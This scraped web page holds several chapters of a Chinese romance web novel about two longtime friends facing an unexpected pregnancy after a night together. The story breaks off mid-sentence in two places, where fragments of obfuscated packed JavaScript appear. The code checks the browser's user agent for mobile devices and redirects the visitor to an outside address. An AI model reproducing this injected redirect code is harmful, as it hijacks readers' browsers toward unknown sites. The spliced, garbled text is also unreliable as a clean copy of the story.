他靠在椅背上,姿态放松,“因为我不想退回去。” 语气一如既往,不紧不慢。 “我知道那是你。” “也知道继续意味着什么。” 说完,裴与驰停了一下,然后抬眼,看向迟铎。目光很稳,没有侵略性,却也没有退让的意思。 “但我还是有反应。” 这句话落下的时候,迟铎只觉得脑子空了一瞬。 裴与驰的坦承来得太直接,让他几乎没有缓冲的余地。 昨晚那些零碎而难堪的印象随之翻涌上来。 他原本把一切都归因于药物作用下的理智失控,混乱、越界、无法判断。 可裴与驰却干脆利落地否认了这一点。 他不是没分寸。 只是那一刻,分寸被欲望压过了。 鱼水之欢,始于意外,结束于见色起意。 “……” 餐桌安静得过分。 迟铎清楚地意识到,这句话一说出口, 他们之间就再也回不到“可以当没发生”的状态了。 受惊的小动物终于维持不住脸上的体面。 迟铎看着对面那个依旧从容不迫,游刃有余的男人, 脑子里却冷不丁弹出一个极其幼稚、却无比真实的念头: 这人不配他去 KTV 唱《最佳损友》。 得换一首。 《不删不聊不再打扰》。 想到歌词,他又在心里飞快地补了一句: 仅限歌名。 那顿早饭是怎么结束的,迟铎已经不记得了。 他只记得自己一共喝了两口咖啡,一口柠檬水。 裴与驰更干脆,几乎两手空空。 等他反应过来,人已经回到房间,手机亮着订票界面。 最近一班,能走就行,目的地甚至不需要是国内。 迟铎下单的速度快得离谱,像是生怕慢一秒,又会被裴与驰一句“顺路一起回去”,当场拿捏。 十几个小时,密闭空间,无处可逃。 这样的长途航班,他们其实经历过很多。 澳洲、非洲、中东。 以往迟铎从不觉得这是负担。 他们很合拍。 一个看电影,一个用机上 WiFi 处理工作。 不聊天,也不会冷场。 很多时候,电影还没看完,他就睡着了。 再醒来,座椅已经被放平,眼罩戴在了眼睛上。 人还没坐直,空服员已经送来一杯冰气泡水。 一切都自然得过分。 自然到迟铎一直以为,这只是默契。 直到现在,他才忽然意识到—— 正是这种默契,才最容易让人被困住。 陌生人有过鱼水之欢,可以毫无障碍地穿上衣服,奔赴相反方向的人海。 而他们不行。 回忆像蛛丝一样缠得密密麻麻。 迟铎低头,把玩着裴与驰某处住宅的钥匙,叹了口气。 10.怀孕 综艺拍到一半,迟铎已经对“正常吃饭”这件事彻底失去信心。 有天后半夜才收工。灯一关,场务在那头收线,他把帽子一扣就往车上走,胃里空得发虚,像是被人从中间掏走一块。 助理李浩跟在后面,小跑着翻通告:“哥,明天六点二十——” “别念了。”迟铎头也不回,“我耳朵没坏。” 李浩识相闭嘴,等他上了保姆车,才把袋子拎出来,献宝似的往后一递:“我给你藏了半盒饭。” 迟铎扫了一眼:“你自己吃。” 李浩愣住:“啊?” “你今天跑前跑后,饿得比我狠。”迟铎补了一句,“别浪费。” 李浩犹豫了一秒,还是拆了筷子:“那我真吃了啊。” “你不吃,我也不给你涨工资。”迟铎说。 李浩立刻低头,边吃边点头:“哥你真是个好人。” 迟铎闭目养神:“闭嘴。” 车里安静了一会儿。 李浩显然没打算就此收手,小声问:“那你不吃,你咋办?” 迟铎把帽檐往下压:“我不咋办。” 他决定用别的东西填肚子。 比如打游戏。 逼大厨队友给他做饭,输赢无所谓,主要是听他们互相指责,能转移注意力。 结果遇上氪金大佬带队,一路平推。 赢得太顺,顺到人心里更空。 他退出来,进微信,点进某个对话框,没铺垫,直接敲字。 【cheeto】:饿 发出去的瞬间,他自己都觉得多余。 撤回显得更刻意,于是把手机扣到一边,当这事已经翻篇。 李浩咽了口饭,语气克制但眼神明显不老实:“给谁发的?” 迟铎眼皮都没抬:“你爹。” 李浩:“……” 助理的职业素养短暂失效:“你爹姓裴?” 迟铎偏头看了他一眼。 李浩立刻闭嘴:“我什么都没说。” 手机震了一下。 迟铎扫了眼屏幕。 【裴与驰】:定位 两个字,干净利落。 迟铎“啧”了一声,把定位丢过去,顺手把手机塞回兜里。 李浩憋了半天:“哥……真有人来接啊?” “嗯。”迟铎嫌弃,“你把嘴闭严点。口水都快喷我了。” 李浩立刻举手:“我嘴很严,我吃饭都不吧唧。” 迟铎:“你现在就在吧唧。” 没两分钟,黑色商务车从侧面并进来,停得稳稳当当。司机下车、点头、交接,动作一气呵成。 李浩跟着下车,脚刚踩地,才意识到自己多余,原地站住,像被临时安放在路边。 迟铎把外套拉好,看了他一眼:“你站这儿当路标?” 李浩立刻反应过来:“哥,明早我照常去酒店接你?” “嗯。”迟铎上车。 车门一关,车厢里安静下来。 他系好安全带,侧头看向旁边的人:“你这么晚还在外面?” 裴与驰看了他一眼:“刚好有事。” 停了一下,又补一句:“顺路来收尸。” 迟铎笑了一声:“我还没死。” “快了。”裴与驰像认真算了下,“再拖两天,热搜该统计谁会出席你葬礼。” 迟铎刚要骂人。 裴与驰接着说:“带你去吃饭。” 火气瞬间熄灭。 饭店是熟店,私密,快,不用点单。菜上得也快,全是他平时会吃的。 迟铎吃到一半,胃里那股悬着的空感才慢慢落下去。 裴与驰把水杯推过来。 “喝水。” 迟铎抬眼:“我看起来像不会喝?” “像会忘。”裴与驰说。 迟铎:“……” 吃人嘴软,骂人费电。 他还是把水喝了。 车没开回酒店,而是拐进片场附近的住宅区。 迟铎看了眼窗外:“裴少挺阔。” “够用。”裴与驰说,“还能养点麻烦的东西。” 迟铎:“……” “酒店远。”裴与驰补充,“早上堵。” 迟铎看了他两秒。 是事实。 “行。”他说,“带路。” 电梯到达高层,门一开,灯自动亮起。 屋子干净、安静,所有东西都刚好。 刚好到不像是临时起意。 迟铎换鞋进门,扫了一圈:“你这儿像没人住。” 裴与驰把电脑放到岛台,屏幕亮起:“比酒店好。” 人在屋檐下。 “你今晚也住?”迟铎随口问。 “明早有事。”裴与驰说。 迟铎点头,不再追问。 他去洗澡。 热水冲下来,疲惫才肯落到骨头里。 出来时,客厅只留了一盏灯。 裴与驰坐在岛台前敲键盘,没抬头。 迟铎走到客房门口,听见键盘声停了一下。 裴与驰抬眼,扫了他一遍,视线落在他滴水的发梢上:“吹干。” 迟铎:“我又不是小孩。” 裴与驰没跟他废话,接着敲:“地板别弄湿。” 迟铎:“……” 他把门关上,低声骂了一句:“操。” 然后发现门外放着吹风机,插头已经插好,线绕开了门口。 他看了两秒,还是把门拉开一点,把吹风机拿进去。 相处跟伦敦那会儿差不多。 临近期末,他昼夜颠倒,白天上课,晚上赶 due,中间还得去给朋友做 fitting model,只能靠甜甜圈续命,而裴与驰顺路,买得很熟。 他们住的公寓有 concierge,告示贴得像规章汇编。 有人被发现给猫投喂甜食和巧克力,物业的告示一天比一天严肃。 某天电梯口,邻居见裴与驰拎着甜甜圈盒子,压着嗓子问:“喂猫的?” 裴与大少爷没听清,敷衍地“嗯”了一声。 第二天,一群人上门核查。 迟铎叼着甜甜圈出来:“哪来的猫?” 误会解除,但版本升级。 这层住着一对 lovebirds。 迟铎听说后差点呛水:“你当时嗯什么?” 裴与驰理直气壮:“没听清。” 迟铎没再骂,只是伸手把裴与驰袖口的糖粉拍掉。 圣诞那阵,他们在 Liverpool Street 乱逛。 迟铎从玛莎拎了牛奶,又顺手抓了两颗巧克力球,拎起来晃了晃:“这个好玩。热牛奶一冲,外壳会化,里面会冒出来一棵圣诞树——棉花糖的。” 裴与驰看他一眼:“那就现在玩。” 迟铎:“……” 倒也不用这么急。 他嘴上吐槽着,脚步还是跟着。 过马路,上楼,二十层。 裴与驰刚租好的办公室。工位不多,但都摆满三块以上屏幕。角落里纸箱还没拆完,白板却已经写得密密麻麻。 迟铎把牛奶放下,环视一圈:“你就为了这个不去牛津读PPE?” 他想起当年校长一副天塌了的样子,一口纯正牛津腔,硬把裴与驰拽进办公室劝,话里话外都写着四个字:牛剑KPI。 迟铎在旁边笑得不行,差点把椅子笑翻。 裴与驰打开咖啡机:“那边离这儿太远。” “不想等。” 迟铎噎了噎,又被大少爷给装到了。 裴与驰抬下巴示意:“巧克力球。” 迟铎把巧克力球丢进热牛奶里。外壳很快被热度冲开,巧克力融得规矩,像撤退。几秒钟后,一棵小小的圣诞树从杯口慢慢浮起来,像不合时宜的童话。 迟铎盯着它笑了一声:“还真有。” 裴与驰终于把视线从 trading view 上挪开半秒,看了那棵树一眼。 他把杯子拿起来,跟迟铎手里的杯沿碰了一下。 “开业前最后一晚。”裴与驰说。 迟铎挑眉:“就我一个观众?” 裴与驰“嗯”了一声:“够了。” 迟铎没再多说,直接抬杯替裴大老板庆祝:“cheers。” 裴与驰也抬杯,轻轻一碰,声音很脆。 办公室里除了屏幕跳动的光,就只剩杯子里那棵圣诞树慢慢塌下去,融进热牛奶里。 第二天醒来,确实没那么痛苦。 迟铎换好衣服出来,裴与驰已经在玄关准备出门。 “我让李浩直接过来了。”迟铎说。 裴与驰应了一声:“嗯。” 他指了指桌面:“钥匙。” 迟铎看了一眼,笑了一声,把钥匙塞进兜里:“行。省事。” 当时图省事,没想到省事的东西最不省心。 回国之后,综艺照拍。 迟铎也照常跑通告,只是把住处换回了酒店。 通告密得像被人打包好,一股脑往他行程里塞。迟铎对时间的判断开始失灵,经常是刚觉得困,又被叫起来补录;刚吃了两口,就被通知转场。 身体先一步开始掉链子。 最明显的是吃饭。 他总觉得饿,却又不太想吃。盒饭拆开,看两眼,吃几口,就停。 不是难受。 是没兴趣。 李浩盯着他剩下的饭,犹豫了半天:“哥,你是不是不舒服?” “没有。”迟铎说。 “那你怎么——” “胃在抗议。”迟铎打断,“抗议工作强度。” “……抗议过头了,哥。” “它一向比较激进。” 补录那天灯光开得很足。 迟铎站在机位外等 cue,忽然觉得有点晕。 他往后退了一步,靠在器材箱上。 李浩立刻看过来:“哥?” “别紧张。”迟铎说,“我只是暂时不太想直立行走。” 说完他自己都无语了一下,又补了一句:“给我两分钟,我进化回来。” 李浩张了张嘴,最后什么也没说。 迟铎站直,挥了下手:“走流程。” 这事就这么过去了。 至少表面上是。 那天收工稍早。 车刚停稳,迟铎就睁开眼,下车下得很快,像是早就等这一刻。 房门一关,世界安静下来。 安静到他能听见自己呼吸的节奏,有点乱。 迟铎在门口站了一会儿,没开灯。 然后他走到床边坐下,低头看着地毯。 他想起那天在饭店,自己只吃了几口就放下了筷子。 不是没胃口。 是身体先一步替他做了决定。 洗手台的灯很白。 他先洗了手,又照了镜子。 然后再打开行李箱,拉开最底层的夹袋,从里面拿出那只薄薄的小盒子,放到洗手台上。 没有立刻拆。 而是站了一会儿,想着还有什么其他要紧事要先处理。 于是他靠在洗手台边,刷起了手机。工作群、节目组、品牌方全部刷了一遍,朋友圈也挨个点赞,直到手酸,才认命地拆封。 等待的那几分钟,房间里很安静,安静到让人有点不耐烦。 结果出来的时候,他没有第一时间看。 而是先把说明书折好,塞回盒子里。 然后才低头。 两条线。 很清楚。 没有给人留下任何自我安慰的余地。 迟铎盯着看了一会儿,把试纸往旁边挪了挪,腾出洗手台的空间,又洗了个手。 这才重新看过去。 还是两条。 原来不是灯光晃眼睛。 他点了下头:“……行吧。” 迟铎点进对话框,想了想,敲字。 【cheeto】:来酒店 发送。 发完这条消息,他把手机扣在床上,起身去倒水。 水喝到一半,手机震了一下。 他没看,小口小口地喝完整杯水,才走过去,把手机翻过来。 【裴与驰】:房号 迟铎把房号发过去,顺手把手机丢回床上。 他坐回床沿,背靠床头,视线落在洗手台的方向。 灯光下,那两条线安静得过分。 门铃响的时候,他没立刻开。 站在门后停了半拍,才拧开门锁。 走廊的光涌进来。 裴与驰站在门外,外套没扣,领带松了一点,像是直接从别的场合抽身过来的。 他目光落在迟铎脸上,停了一瞬。 然后越过他,看见了洗手台。 裴与驰的视线在那里停了下来。 他没有立刻说话,而是进门,反手关上门,动作很轻。 房间重新安静下来。 迟铎靠在门边,看着他,先开口,语气平直: “别看了。” “我没打算讹你。” 裴与驰终于移开视线,看向他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881059|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么时候。” “刚能测出来。”迟铎说。 裴与驰点头。 “明天我带你去医院。” 不是询问。 迟铎看了他两秒,把门锁拨回原位。 “行。” 声音很小,却在安静的房间里显得格外清楚。 裴与驰没有立刻走。 “我明早七点来。”他说。 迟铎点头:“我起得来。” 裴与驰看了他一眼,没有拆穿,只应了一声:“嗯。” 他伸手,把门口那盏过亮的灯调暗了一档。 “今晚别乱想。” 迟铎嗤了一声:“你这话跟‘对考生说别紧张’一个效果。” 裴与驰没反驳。 门合上。 脚步声很快被走廊吞没。 房间重新安静下来。 他知道今晚大概睡不着。 事实也确实如此。 他躺下,又翻了个身,最后干脆睁着眼盯着天花板。时间在脑子里一格一格地往前跳,跳得很慢。 一点多。 他伸手摸到手机,解锁。 联系人列表往下滑。 停在“王平柔”。 迟铎盯着那个名字看了两秒,还是拨了过去。 电话响到第二声,被接起。 “迟铎?”王平柔的声音清醒得过分,“你要是跟我说综艺又要临时改流程,我现在就挂。” “不是。”迟铎清了清嗓子,“我想问你个事。” “说。” 他停了一下。 “我有一个朋友。” 电话那头安静了半秒。 “你继续。”王平柔语气很冷静。 “这个朋友,”迟铎说,“最近遇到点问题。” “什么问题?” “感情上的。” 王平柔冷笑一声:“继续。” “不是。”迟铎立刻否认,“真不是我。” “行。”王平柔很配合,“那你这个朋友怎么了?” “他……”迟铎卡了一下,“跟一个认识很多年的好友,发生了关系。” “当时他以为,对方不太清醒。” “实际呢?”王平柔接得很快。 “……对方是清醒的。” 王平柔“嗯”了一声:“然后呢?” “然后我这个朋友本来以为,就当没发生。” “结果发现,对方好像不是这么想的。” “怎么发现的?” “第二天当面说清楚了。” 电话那头沉默了一会儿。 “那你这个朋友怎么想?” “他在纠结。”迟铎说,“想装作没事。” 王平柔明显深吸了一口气。 “迟铎。”她语气陡然拔高,“你谈嫂子这事要是被坐实,你粉丝能把李浩的皮给撕了你知道吗?” 下一秒,语气却忽然转了个方向。 “可这还不是最让我生气的。” 她停了一下。 “你人睡了,事也出了,结果第一反应是装没发生?” “你这是把人当什么?” “死渣男。” 迟铎闭了闭眼。 “等下,真不是我。”他几乎是咬着牙,“我是女生的朋友。” “她现在怀孕了。” “男生才是那个事后说自己清醒的人。” 电话那头安静了整整三秒。 “啊?” “等等。”她迅速反应过来,“你刚才说什么?” “怀孕了。”迟铎重复。 “……你是说嫂子怀了?” 迟铎:“……” “不是我。”迟铎低声说,“真不是我。” 电话那头又安静了一拍。 “……” “你还真有一个朋友啊?” 迟铎:“……” 既然跟工作无关,王平柔立刻开始八卦:“所以现在这个情况是——” “两个好朋友。” “睡了。” “其中一个怀孕了?” “嗯。” “那问题来了。”她迅速切回职业模式,“这俩朋友,什么配置?” “什么?” “财富,”王平柔说,“形象。” “高富帅,矮矬穷,白富美,还是别的?” 迟铎一口气差点没上来。 他沉默了两秒。 “……高富帅。” “另一个?” 迟铎沉默得更久。 “……白富美。” 王平柔不解:“那你这个白富美朋友在纠结什么?” 迟铎靠在床头,盯着天花板,耳朵自动过滤某三个字。 “纠结要不要装作这事没发生。” “还想继续当朋友?” “……差不多。” 电话那头很轻地“啧”了一声。 “她纠结啥?”王平柔语气一下变得理直气壮,“她还能找个比这配置更高的吗?” 迟铎:“……不能。” 不看性别的话。 “男人嘛,都一样。”她说得随意,“她不跟这个结婚,将来大概率也得跟另一个高富帅结婚。” 迟铎没说话。 “至少这个,”她补了一句,“不仅顶级配置,还是能当多年好友的人。” “说明她本来就认可他。” 她停了一下,语气慢下来。 “而且啊,能成为密友,大概都带着点爱,懂吗?” “不一定是非要谈恋爱的那种。” “但绝对不是没感觉。” 迟铎的呼吸不自觉地轻了一下。 “她们现在没在一起,”王平柔继续,“也不一定是不喜欢。” “有时候只是因为,两个选择都太多的人,从来没设想过这条新路。” “没把对方放进‘可能的人生选项’里而已。” 电话那头安静了一瞬。 “既然有了这个变故,”她最后说,“试着往前走走,也许并不坏。” “至少比装作什么都没发生,要诚实一点。” 电话挂断。 房间重新安静下来。 迟铎把手机放到一边,盯着天花板看了很久,他坐起来,赤脚踩到地毯上,走到洗手台前。 灯光下那两条线安静得过分。 他伸手把试纸翻了个面又翻回来。 还是两条。 迟铎靠着门框,最后抬手捂住脸。 “……操。” 11.检查 这次是裴与驰开的车。 不是他常用的那几辆,车牌也陌生,连内饰都像是刚被清空过,没有任何个人痕迹。 他系好安全带,侧头看了一眼,语气随意: “你这是临时换号?” 裴与驰目视前方:“嗯。” 没多解释。 车速很稳,走的却不是常走的路。 迟铎盯着窗外看了几秒,忽然笑了一下: “我俩现在这状态,有点像做贼。” 裴与驰手指在方向盘上轻敲了一下,语气平静: “你现在不适合被人看到。” 迟铎一顿,然后非常迟铎地,开口了: “……你这路线选得也太偏了。” 裴与驰应了一声,终于配合了迟铎一次。 入口很隐蔽,没有任何标识。门在车前滑开,又在他们身后合上,像把外界直接按了静音。 裴与驰下车,绕到副驾替他拉开门。 迟铎看了他一眼:“你今天怎么这么讲究?” 裴与驰:“走路慢点。” 给足了绅士待遇。 里面早就准备好。没人问名字,也没人确认身份。前台只礼貌地看了裴与驰一眼,轻声一句:“这边请。” “可以开始。” 裴与驰点头:“嗯。” 迟铎跟着进去,全程配合。 检查被压缩得很紧,该走的一步不少,却没有多余解释,也没有任何会让人觉得“这事会留档、会扩散”的环节。每个人都很专业、很客气。 医生合上资料,没急着往下说,先把笔缓慢放回笔托里,像在衡量怎么开口才不刺激病人。 “迟先生,”语气温柔又客气,“目前看,确实是妊娠。时间不长。” 迟铎“嗯”了一声。 脑子里非常不合时宜地蹦出一句:验孕棒这东西,产品力挺强。 裴与驰坐得很稳,连呼吸都没乱。 医生翻到下一页,指尖停了停,换了个说法,像在绕开某个可能刺痛人的词: “另外,有个情况需要提前跟您说明。” “您的生理结构……和常见情况不一样。这个点会直接影响后续方案。” 迟铎抬了下眼。 脑子里的杂音像被拔掉电源,啪一下断了。 他这些年一直知道自己跟别的男生不一样,只是他一直把这件事压在最底层的抽屉里,上了锁。 一直仔细隐藏着,怕被人发现,更怕沦为谈资。 足球队的更衣室里,男生们还没进隔间就开始脱,露出个光屁股,一边聊球一边起哄,聊到兴奋处还会顺手把毛巾甩到别人脸上。迟铎这时也会笑,会骂,会把那条毛巾甩回去,动作做得很自然。 只有他自己知道,他所有的注意力都用在怎么换衣服和站位而不被发现。 保持秘密很难,尤其在朝夕相处的生活里。 所以当周淮跟他吐槽起自己还没进门,舍友就光屁股从浴室一路跑到床边找手机,边跑边骂“□□忘拿充电器”的时候,迟铎当场乐不可支,心里却松了一口气——庆幸学校给他随机分配了个最合适的舍友。 裴与驰十分有界限,有界限到迟铎觉得安全。安全的让迟铎进了大学也顺理成章继续合住;让他在沙发上看电影睡得四仰八叉,理所当然等着裴与驰回来给他盖毯子——丝毫不担心秘密会被发现。 然后一个月前,秘密被撞破了。 迟铎没把那晚反复拿出来想。不是不想,是不敢。 他擅长的从来不是面对,是装作没发生——只要不提,就还能维持原来的关系:朋友、兄弟、室友。 反正他们这些年一直是这样。 可现在医生一句话,轻飘飘的,把他藏了很多年的东西拎出来放在桌面上,三方会谈。 迟铎尴尬得厉害,连视线都不知道该落哪儿。 更尴尬的是,旁边还坐着裴与驰。 裴与驰不说话,坐得很稳,像他只是来听一个结论。 可迟铎很清楚:这个人,一个月前已经把“结论”确认得很彻底,甚至比他更熟悉。 逃避了一个月的事情被摊开来,还被专业人士用医学术语定义。像给那晚盖了章:不是错觉,不是意外,也不是你装作没发生就能翻篇的东西。 迟铎脸上热了一下,又立刻压下去。 他不敢看裴与驰,怕在对方眼里看见“我还记得”。 更怕裴与驰看他的方式,从此带上那种和“朋友”不一样的目光。 医生似乎察觉到他的停顿,语速放得更缓,词也更绕了一点: “基于这个前提,我们不建议现在做任何激进处理。” “目前更稳妥的是先保留,做严密观察。”医生把文件夹往前推了推,推到一个不冒犯、也不退让的位置,“今天可以先把基础检查做完。明天我们组织会诊,把评估做全,出方案,再跟您沟通下一步。” 迟铎没立刻接话,疼痛并未侵袭到现实,但心理已经产生痛感。 他喉结动了动,声音尽量冷静:“所以我现在不用决定?” “对。”医生点头,“您今天不需要立刻做决定。我们会把可行路径列出来,您只需要选择。” 裴与驰这时才开口,语气很平:“最快什么时候能开始?” “现在就可以。”医生答得很快,“我会提前沟通相关科室,流程会尽量简化、封闭。” 裴与驰:“好。” 医生合上文件夹,起身:“我出去安排。两位稍等。” 门一关,诊室里只剩空调的低噪。 迟铎发现自己居然在憋气,憋得胸口发紧。他想说点什么缓一下,嘴张了张,又把话吞回去。 裴与驰把那几页纸收进文件袋,扣好。 “走。”他说。 后续检查更“干净”。 不问来历,不聊家常,工作人员只负责把步骤推进,迟铎一路配合。看似冷静,情绪却像被抽空了,只剩机械地往前走。 结束时裴与驰去签字,迟铎坐在等候区盯着一幅装饰画看。 裴与驰回来,手里还是那个文件袋。 “回去。”他说。 车停在地下。 裴与驰替他拉开副驾门,迟铎坐进去,动作慢半拍。 门关上的声音不轻,但他像没听见。 他只是发愣,眼睛落在前挡风玻璃某个点上,像那点光能把他脑子里那团乱照出个形状。 安全带垂在旁边,他没去碰。 裴与驰坐上驾驶座,也没发动。 车里静得过分。 迟铎的心思全在医生那几句话上。 “不建议激进处理”后面的含义像一根细线,勒得他胸口发紧。尴尬还没散,后怕就已经拱上来 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他只是看了迟铎两秒,然后抬手,把人往自己怀里一带。 动作不重,但很强硬。 迟铎撞进他胸口那一下,眼眶立刻热了。 他本能想挣一下,没挣开,也没再挣。那点体面在这一刻像断电的灯,亮一下就灭了。 他抓住裴与驰的衣角,抓得很紧,紧得有点丢人。 头顶传来裴与驰的声音,冷静又克制: “我会让他们继续观察。” “把评估做全,开专家会诊。” 停了半秒: “如果评估允许,我们就把它取出来。” “前提是不伤害你。” 迟铎闷在他怀里两秒,嗓子哑得厉害,还是挤出一句: “你把……说得像恶性肿瘤。” 裴与驰“嗯”了一声,没否认。 “它。” 不是孩子。不是未来。不是任何需要被命名、被期待的东西。 只是一个占据了迟铎身体、让迟铎失控的麻烦。 迟铎没抬头,也没松手。 他把脸埋得更深一点,闷闷骂了一句,算给自己找回一点气势: “……你真烦。” 裴与驰声音更低:“忍忍。” 然后车终于发动,缓慢驶出地下。 12.捕猫 车里没放音乐,空调尽职运作的声音一清二楚。 迟铎盯着窗外倒退的景色,脑子还在消化刚才发生的所有。 手机在裤兜里震了一下。 又震。 连震好几下。 迟铎没反应。昨晚那几个红点他都懒得点开,更何况现在。 下一秒,裴与驰手伸过来,动作自然得像给猫顺毛,把他手机抽走,接上中控那根线,顺手充电。 “你手机要没电了。”裴与驰语气平平,像在陈述一个不容反驳的事实。 迟铎一愣:“我没——” 但手机已经离开手边。 迟铎:“……” 充电提示刚跳出来,手机顶端那排红点也跟着冒头,像一串讨债的灯笼。 迟铎眼皮一跳,伸手就要抢:“别——” 虽然昨晚他没点开,但都凌晨两三点了,能给他狂轰乱炸的除了才和他聊完八卦的王平柔还能有谁。他直觉王平柔语音发的内容不能暴露。 “别什么?”裴与驰目不斜视,单手握方向盘,另一只手已经很随意地点开了一条语音。 迟铎那句“别放”还没来得及落地,车载音响先开口了,音量很贴心,大到像在车里开发布会。 【王平柔:语音 20″】 “我刚刚话没说完。你让你那个‘白富美朋友’别装傻。” “装傻是最蠢的策略,处理不好,琼瑶戏开演,到时候只能坐在自己的718里哭。” 迟铎:“……” 不至于。 至少在911里哭。 但他转念一想,发现自己已经完全代入。 裴与驰侧眸扫他一眼,嘴角浅浅一动:“718?” 迟铎咬牙:“闭嘴。” 裴与驰“嗯”了一声,听话得非常敷衍,手指又点开下一条。 迟铎:“别点了!” 裴与驰:“开车呢,你别乱动。” 迟铎:“……” 【王平柔:语音 43″】 “还有,别跟我整什么‘还能不能当朋友’。” “都睡了还怀了,朋友这俩字早就不干净了,懂吗?小学鸡文学收一收。” “你朋友也别想着逃避了。从小一起玩到大的,关系稳得像地基,最容易把心动当成习惯。习惯个屁,先把人拎出来谈。” 车里安静得只剩王平柔的声音在回荡。 “都睡了还怀了”那一行像被车载系统加粗强调,啪一下拍在迟铎脸上。 他整个人僵在副驾,脚趾在鞋里当场开工,恨不得把脚垫抠出一套精装小户型。 裴与驰倒是很从容,甚至还很轻地笑了一下,像被逗到。 迟铎头皮一炸:“你笑什么?” 裴与驰语气无辜:“经纪人挺会讲。” 迟铎硬邦邦:“她说的是我朋友。” 裴与驰“嗯”了一声,顺势补刀:“那你替‘你朋友’听完。” 还特意有重音。 迟铎:“……” 第三条语音自动接上来,像王平柔本人坐上了后排,系好安全带,准备给他做思想教育。 【王平柔:语音 1′12″】 “先别急着给关系贴标签,让你朋友一定要做三件事。” “第一,去医院,别拿身体开玩笑。” “第二,当面谈,把话说清楚。” “第三,让他把态度摆出来——想负责就站到台面上,想装死就让他死远点,别耽误你朋友的人生。” 迟铎很想吐槽:你知道什么叫台面吗?台面就是他爸的巴掌。 还没等他把这句吐槽完整消化。 屏幕上“叮”地跳出一条文字信息。 像狙击手补枪。 【王平柔】:她要是怂,你一定记得把这句转告她——“愿意让未来孩子叫谁爸?” 车里安静了整整两秒。 两秒里,迟铎连眼睛都没眨。 他甚至能听见自己的心跳,砰、砰、砰,跟刚才手机震动一个节拍。 裴与驰握着方向盘,语气还是那副云淡风轻: “问你呢。” “白富美。” 迟铎:“……” 裴与驰又补了一句,像逗猫逗到尾巴尖: “要不要我帮你回?” 迟铎当场魂飞魄散:“你回什么?!你别动我手机!” 裴与驰很有教养地把放在屏幕上的手收回来:“好。” 裴与驰握着方向盘,给出建议:“最省事的办法是结婚。” 他停了停,又顺手逗道:“你要不要省事?” 迟铎:“……” 他一把抢过手机,拔下来,随便敷衍地给自家经纪人回了个“嗯”字,就把手机啪地扣在腿上。 脸色很冷,耳尖很热。 回去一定要警告自己的经纪人:有演讲想发表那就麻烦在电话里一口气说完,别大喘气。现在好了,她那段演讲多了个听众,还正好是孩子他爸。 他恨不得当场抢方向盘,把一家三口整整齐齐送走算了。只要没人看见他尴尬,送谁走都行,包括他自己。 可现实不允许他这么不讲武德,只允许他坐在副驾,任由热意蔓延到全身。 裴与驰没再追着逗,过了会儿,淡声问:“饿了吗?” 迟铎嘴比脑子快:“饿。” 裴与驰“嗯”了一声,方向盘一打。 迟铎本以为又是老地方,那家 omakase。路过店门口,海鲜味钻出来,他眉心很轻地皱了一下。裴与驰动作不停,车继续往前开,拐进一条不太热闹的路,停在一家粥店门口。 迟铎扫了眼招牌,语气带着嫌弃:“换口味?” 裴与驰看他一眼,理所当然:“先吃这个。” 迟铎挑眉:“你在命令我?” 裴与驰没接,推门下车,绕到副驾把门拉开,低头看向车里的人。 他停了半秒,像是很勉强地做了个让步。 “……算我求你。”哄小女朋友的作派。 迟铎:“……” 行。 他今天的脸已经丢得差不多了,也不差这一点。 进店。 裴与驰话不多,要求倒明确:全熟、清淡、热的。别的免谈。 服务员一点头:“明白。” 粥上来,热气一冒。 迟铎先没说话,舀了一口,第二口就跟上了。等他停勺,一碗快见底。 裴与驰把温水推过去,淡声:“够吗?” 迟铎照旧那句:“还行。” 裴与驰“嗯”了一声,像信了。过了一会儿,他起身出去一趟,回来时手里多了个纸袋。 迟铎瞥一眼:“这是什么。” 裴与驰连眼皮都不抬:“你一会儿还会饿。” 话到这儿就断了。 迟铎低头继续喝粥。热气往上冒,他忽然想起自己这两天,确实很久没把“吃饭”当成一件简单的事了。 除了今天。 他没深想原因。 怕一想就要承认:这事也许不是粥的功劳。 吃完回去,裴与驰把车开到了自己家,迟铎也没反抗。 反正,他又不是没住过他家。 车拐进熟悉的车道,那条“躲”的路被轻轻掐断,连理由都不给他编。 两人又回到之前的节奏:裴与驰进房间开电脑,迟铎拿手机处理消息。 夜里十一点多,迟铎从屏幕里抬头,饿意卷土重来。 他走出房间,脚步不急不慢,像被旧习惯牵引着。 餐桌上果然放着那只纸袋。 迟铎拆开。 里面是一份草莓挞。 他盯着看了两秒,忽然有点想笑。 这场景太熟了。 伦敦那几年更明显。 他在 UCL,裴与驰在 LSE,地图上两步路,真走起来,永远差一个路口、两站地铁、半小时的雨。 白天他们各忙各的,忙得像两条互不相干的线,但每到饭点,那条线总会不讲道理地拐一下,拐到对方的坐标上。 他熬夜赶论文,桌角会多一份草莓挞或者甜甜圈;裴与驰开会到深夜回家,客厅的灯一定是亮的,桌上还有杯水。 他们甚至连丢脸都一起。 假期,他们在家里看电影;迟铎被火锅勾引,非要在家做。 裴与驰居然也同意了,还被安排去炒辣椒,迟铎自己则炒香料。 十指不沾阳春水的少爷们刚下锅铲,下一秒,油烟冲天。 烟雾报警器先尖叫;紧接着喷淋系统也很敬业,哗一下把少爷们浇成了落汤鸡。 门外警笛声由远及近,消防车一辆接一辆停在楼下,阵仗大得像要把他们俩从伦敦遣返。 最后他们站在一地水里,裴与驰卷着袖子收拾残局,脸上没表情,只把拖把推到迟铎脚边,淡淡抬了抬下巴: “你也有份,别装死。” 迟铎当场笑了,笑完又觉得丢人。 这独属于他们两人的丢人时刻在最后,甚至还有实体凭证做纪念。因为消防和维修部门在这不久,就给他们寄出了天价账单。 迟铎咬了一口草莓挞,熟悉的味道在嘴里迸发开来,出品一如既往的稳定,适配他的味蕾。 